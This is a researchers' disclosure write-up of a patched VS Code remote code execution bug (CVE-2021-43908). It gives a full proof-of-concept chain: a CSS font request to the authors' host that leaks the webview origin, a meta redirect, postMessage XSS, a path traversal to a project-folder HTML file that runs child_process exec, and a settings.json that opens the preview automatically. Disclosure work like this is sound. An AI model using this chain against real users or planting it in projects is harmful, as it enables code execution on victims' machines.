Visual Studio Code - Remote Code Execution in Restricted Mode (CVE-2021-43908)
– by TheGrandPew and s1r1us
We all know, VSCode is one of the most used Electron App. As a part of our research on hacking electron apps, we thought it would be cool to pwn VSCode and we were able to pwn it. We were able to achieve RCE on VSCode without getting to use any of our new fancy stuff.
TL; DR
Remote Code execution can be achieved when a victim opens a markdown file in a maliciously crafted VSCode Project or a folder even in VSCode Restricted Mode.
VSCode Webview origin leak and Meta Redirect
The markdown files are rendered in vscode-webview://
protocol with a unique ID and the rendered page has the following the CSP.
1default-src 'none'; img-src 'self' https://*.vscode-webview.net https: data:; media-src 'self' https://*.vscode-webview.net https: data:; script-src 'nonce-b2FRHThl3pYBbQRmwMMnXnT1XqK7XGOBKiigpevKp0t7aHy1kFyHNabUhRKKi7OZ'; style-src 'self' https://*.vscode-webview.net 'unsafe-inline' https: data:; font-src 'self' https://*.vscode-webview.net https: data:;
It is impossible to achieve XSS unless we can leak nonce somehow. But vscode-webview://
has a postMessage handler where XSS can be achieved. To perform that postMessage we need to leak the extension ID which is the host part of vscode-webview://
origin.
Origin Leak
As the markdown is rendered in the same origin, we can use some kind of HTTPLeaks to leak the origin.
It was found that it is possible to leak the extension ID through font-src CSS, the Origin header contains the ID we wanted.
1<style>
2@font-face {
3 font-family: "MyFont";
4 src: url("https://pwn.af/elect/final/origin.php");
5 }
6 body {
7 font-family: "MyFont";
8 }
9</style>
10<b>leak</b>
Meta Redirect
Even with that tight CSP we can use a meta tag to redirect to attacker’s site where javascript can be run.
POC for meta redirect and ID leak
1<style>
2@font-face {
3 font-family: "MyFont";
4 src: url("https://pwn.af/elect/final/origin.php");
5 }
6 body {
7 font-family: "MyFont";
8 }
9</style>
10<body>
11<b color="RED">POC STARTING</b>
12<meta http-equiv="refresh" content="3;url=https://pwn.af/somefile.php" />
13</body>
XSS in vscode-webview
vscode-webview://
pages has postMessage handlers. They check if the message coming from the valid origin by taking query parameter named parentOrigin
, which means any arbitrary origins can load this vscode-webview
in an iframe and send postMessages.
1window.addEventListener('message', (e) => {
2
3 if (e.origin !== parentOrigin) {
4 console.log(`skipping webview message due to mismatched origins: ${e.origin} ${parentOrigin}`);
5 return;
6 }
In attacker page we can create the iframe with following origin
1vscode-webview://ID/index.html?id=f6cb17f4-e1a2-465a-8c0b-239d65c5385c&swVersion=2&extensionId=vscode.markdown-language-features&platform=electron&vscode-resource-base-authority=vscode-resource.vscode-webview.net&parentOrigin=https://pwn.af
and after that we can send following postMessage to achieve XSS in vscode-webview
1 frames[0].postMessage({channel:'content',args:{contents:”<img src=x onerror=alert(origin) />”,options:{allowScripts:true}}},'*')
XSS in vscode-file origin
vscode-file
is the main origin of VSCode which has nodeIntegration
enabled and it is similar to file://
origin, you can load files with their path but only inside the VSCode installation path.
The following path is where the VSCode runs and it is inside installation path.
vscode-file://vscode-app/Applications/Visual Studio Code.app/Contents/Resources/app/out/vs/code/electron-browser/workbench/workbench.html
Our idea is to navigate vscode-file://
to our controlled html file show that we can run node code to get RCE. But, as you can see navigation is limited to installation path and we can’t create arbitrary files in installation path. So, we thought of network shares but they didn’t worked.
After some tinkering, we noticed that using a path traversal we can load any file outside of VSCode Installation path.
vscode-file://vscode-app/Applications/Visual Studio Code.app/Contents/Resources/app/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F/somefile.html
Now the issue, how to create arbitrary html file in the victim computer?
We thought of using the same VSCode Project/folder to store the html file and navigate top.location='vscode-file://vscode-app/vscode_project_opened_folder_path/malicous.html'
to that html file
1<script> if(navigator.platform=='MacIntel'){
2top.require('child_process').exec('open /System/Applications/Calculator.app');
3 } else{
4top.require('child_process').execSync('calc.exe');
5 }
6 </script>
Ok, we have arbitrary html file in VSCode Project folder in victim computer but how can you know the path of it?
Here comes a postMessage leak.
To leak the path of current user directory, vscode-webview://
can send postMessages to vscode-file://
origin, when a channel: do-reload
postMessage is sent to vscode-file
it sends a bunch of postMessages back to the vscode-webview://
and one of the message leaks the directory of the user.
1 window.top.frames[0].onmessage = (event) => {
2 //loc= event.data.args.options.localResourceRoots[3].path;
3 try{
4 loc = JSON.parse(event.data.args.state)['resource'];
5 console.log(loc);
6 }catch{}
7 }
8 window.top.postMessage({target:'${origin}',channel:'do-reload'},'*')
9
After leaking the user directory, we can navigate the current window to vscode-file:///
.
POC
1<script>
2window.top.frames[0].onmessage = event => {
3console.log(event);
4
5 try {
6 loc = JSON.parse(event.data.args.state)['resource'];
7 var pwn_loc = loc.replace('file:///','vscode-file://vscode-app/Applications/Visual Studio Code.app/Contents/Resources/app/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F').replace('pwn_mac.md','test.html')
8 location.href=pwn_loc;
9 } catch (e) {
10 console.log(e);
11 }
12};
13window.top.postMessage({
14 target: '${origin}',
15 channel: 'do-reload'
16 }, '*');
17 </script>
Full POC for vscode-webview XSS and vscode-file XSS
1<?php
2include "config.php"
3?>
4<html lang="en" dir="ltr">
5 <head>
6 <meta charset="utf-8">
7
8 <title>PoC</title>
9<script>
10 var channel;
11 window.addEventListener('message', onMessage);
12function onMessage(e){
13 console.log(e)
14 channel = e;
15 channel.ports[0].onmessage = console.log
16 channel.ports[0].postMessage({channel:'did-load-resource',data:{}})
17 }
18 var origin = '<?= $origin ?>'.split('/')[2]
19 function pwn() {
20 payload = `<script>
21 window.top.frames[0].onmessage = event => {
22 console.log(event);
23
24 try {
25 loc = JSON.parse(event.data.args.state)['resource'];
26 var pwn_loc = loc.replace('file:///','vscode-file://vscode-app/Applications/Visual Studio Code.app/Contents/Resources/app/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F').replace('pwn_mac.md','test.html')
27 location.href=pwn_loc;
28 } catch (e) {
29 console.log(e);
30 }
31 };
32 window.top.postMessage({
33 target: '${origin}',
34 channel: 'do-reload'
35 }, '*');
36 <\/script>`
37 channel.ports[0].postMessage({channel:'content',args:{contents:payload,options:{allowScripts:true}}})
38 }
39 setTimeout(function(){pwn()}, 3000);
40 </script>
41 </head>
42 <body>
43 <iframe style="position: absolute; width:0;height:0;border: 0;border: none;" src="<?= $origin ?>/index.html?id=f6cb17f4-e1a2-465a-8c0b-239d65c5385c&swVersion=2&extensionId=vscode.markdown-language-features&platform=electron&vscode-resource-base-authority=vscode-resource.vscode-webview.net&parentOrigin=<?= $host ?>">
44 </iframe>
45 </body>
46</html>
Reducing User Interaction
Usually to render a markdown file the user has to select Markdown: Open preview
in Quick Open. But using a vscode workspace settings file we can automatically render markdown without interaction.
Settings.json
1{
2 "workbench.editorAssociations": {
3 "*.md": "vscode.markdown.preview.editor"
4 },
5 "workbench.startupEditor": "readme"
6}
7
Folder structure
Finally, MSRC paid $3000 for the bug and they fixed it.
“Want to secure your electron or JavaScript Application. Reach out us at hello@electrovolt.io or visit https://electrovolt.io to learn more”